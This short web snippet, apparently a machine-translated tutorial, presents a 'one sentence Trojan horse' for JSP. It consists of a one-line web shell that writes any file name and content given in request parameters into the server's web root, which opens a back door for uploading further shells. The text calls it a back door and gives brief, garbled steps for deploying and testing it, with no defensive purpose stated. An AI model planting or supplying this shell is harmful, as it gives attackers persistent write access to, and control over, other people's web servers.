JSP one sentence Trojan horse code

Copy codeThe code is as follows:
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“\”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); 

this   I guess I don’t have to say the back door. I’d better prompt it. Save it as 1.jsp   Submit url!
then: http://localhost/1.txt   Just came out   The content is   hello  ….. 

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